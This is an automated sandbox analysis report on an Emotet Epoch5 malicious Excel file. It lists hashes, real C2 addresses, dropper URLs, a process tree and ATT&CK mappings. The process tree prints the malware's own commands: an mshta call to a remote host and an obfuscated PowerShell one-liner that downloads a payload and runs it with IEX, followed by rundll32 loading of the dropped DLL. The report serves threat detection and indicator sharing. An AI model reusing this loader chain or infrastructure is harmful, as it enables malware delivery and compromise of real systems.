emotet | be0a2a7c762118fb87c70042ade21a1fa3d658e14ad2ce17e0f35996c435cf58

General

Target

tmpsopwvsay.xls
Size

154KB
MD5

cfcd5a0c1e19d415fc69a3632d009c0b
SHA1

df57263f0005eedbfe32f41bb3cfe0ded32a8351
SHA256

be0a2a7c762118fb87c70042ade21a1fa3d658e14ad2ce17e0f35996c435cf58
SHA512

f17e410a1764b22e6d0d93865f5fc61a2d2558e13e76fcabe250e05ea8c789b12e25bdd9b266dd6b76d7f6dd6dfac9e09a183f06f270c3e53b6b7d0ccb3e9a6d

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3264	2660	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

21 60 mshta.exe
33 3640 powershell.exe
35 3640 powershell.exe
37 3640 powershell.exe
40 3640 powershell.exe
45 1612 rundll32.exe
46 1612 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1256 rundll32.exe
3792 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Grrzoppuqxq\lpyzn.bam rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2788 60 WerFault.exe mshta.exe

flow	pid	process
21	60	mshta.exe
33	3640	powershell.exe
35	3640	powershell.exe
37	3640	powershell.exe
40	3640	powershell.exe
45	1612	rundll32.exe
46	1612	rundll32.exe

pid	process
1256	rundll32.exe
3792	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Grrzoppuqxq\lpyzn.bam	rundll32.exe

pid	pid_target	process	target process
2788	60	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2660 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3640	powershell.exe
3640	powershell.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
2788	WerFault.exe
3640	powershell.exe
1612	rundll32.exe
1612	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3640 powershell.exe
Token: SeDebugPrivilege 2788 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	2788	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2660 wrote to memory of 3264	2660	EXCEL.EXE	cmd.exe
PID 2660 wrote to memory of 3264	2660	EXCEL.EXE	cmd.exe
PID 3264 wrote to memory of 60	3264	cmd.exe	mshta.exe
PID 3264 wrote to memory of 60	3264	cmd.exe	mshta.exe
PID 60 wrote to memory of 3640	60	mshta.exe	powershell.exe
PID 60 wrote to memory of 3640	60	mshta.exe	powershell.exe
PID 3640 wrote to memory of 2596	3640	powershell.exe	cmd.exe
PID 3640 wrote to memory of 2596	3640	powershell.exe	cmd.exe
PID 2596 wrote to memory of 1256	2596	cmd.exe	rundll32.exe
PID 2596 wrote to memory of 1256	2596	cmd.exe	rundll32.exe
PID 2596 wrote to memory of 1256	2596	cmd.exe	rundll32.exe
PID 1256 wrote to memory of 3792	1256	rundll32.exe	rundll32.exe
PID 1256 wrote to memory of 3792	1256	rundll32.exe	rundll32.exe
PID 1256 wrote to memory of 3792	1256	rundll32.exe	rundll32.exe
PID 3792 wrote to memory of 1584	3792	rundll32.exe	rundll32.exe
PID 3792 wrote to memory of 1584	3792	rundll32.exe	rundll32.exe
PID 3792 wrote to memory of 1584	3792	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1612	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1612	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1612	1584	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpsopwvsay.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\SYSTEM32\cmd.exe
cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3264

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/qqqw/aaas/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:60

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 60 -s 1656
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:2596

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1256

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3792

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Grrzoppuqxq\lpyzn.bam",AMAspkGE
8⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Grrzoppuqxq\lpyzn.bam",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1612

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
\ProgramData\QWER.dll
MD5
2c05321ef3ac468ec85717080ed0094c

SHA1
dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

SHA256
1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

SHA512
0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

Download Submit
memory/1256-323-0x00000000043C0000-0x00000000043E7000-memory.dmp

Filesize
156KB

Download
memory/1584-340-0x0000000003530000-0x0000000003557000-memory.dmp

Filesize
156KB

Download
memory/1612-343-0x0000000002B40000-0x0000000002B67000-memory.dmp

Filesize
156KB

Download
memory/2660-124-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-118-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-597-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-596-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-595-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-594-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-132-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2660-131-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2660-121-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-120-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-119-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/3640-276-0x000001497D150000-0x000001497D172000-memory.dmp

Filesize
136KB

Download
memory/3640-316-0x000001497D246000-0x000001497D248000-memory.dmp

Filesize
8KB

Download
memory/3640-311-0x000001497D960000-0x000001497D9D6000-memory.dmp

Filesize
472KB

Download
memory/3640-297-0x000001497D1C0000-0x000001497D1FC000-memory.dmp

Filesize
240KB

Download
memory/3640-294-0x000001497D243000-0x000001497D245000-memory.dmp

Filesize
8KB

Download
memory/3640-293-0x000001497D240000-0x000001497D242000-memory.dmp

Filesize
8KB

Download
memory/3792-331-0x0000000004870000-0x0000000004897000-memory.dmp

Filesize
156KB

Download
memory/3792-333-0x00000000049D0000-0x00000000049F7000-memory.dmp

Filesize
156KB

Download
memory/3792-335-0x0000000004A30000-0x0000000004A57000-memory.dmp

Filesize
156KB

Download
memory/3792-337-0x0000000004A90000-0x0000000004AB7000-memory.dmp

Filesize
156KB

Download
memory/3792-339-0x0000000004C50000-0x0000000004C77000-memory.dmp

Filesize
156KB

Download
memory/3792-329-0x00000000046B0000-0x00000000046D7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads